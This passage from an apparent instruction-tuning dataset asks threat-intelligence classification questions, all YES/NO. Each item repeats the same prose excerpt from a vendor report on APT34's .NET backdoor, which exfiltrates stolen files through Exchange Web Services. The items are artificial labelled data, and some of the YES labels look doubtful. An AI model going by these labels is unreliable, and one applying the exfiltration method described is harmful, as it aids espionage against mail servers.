attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSaitama\n### Target Entity: Microsoft Exchange\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKarkoff\n### Target Entity: EWS\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSaitama\n### Target Entity: EWS\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSaitama\n### Target Entity: .Net\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: United Arab Emirates\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: China\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Saudi Arabia\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Qatar\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 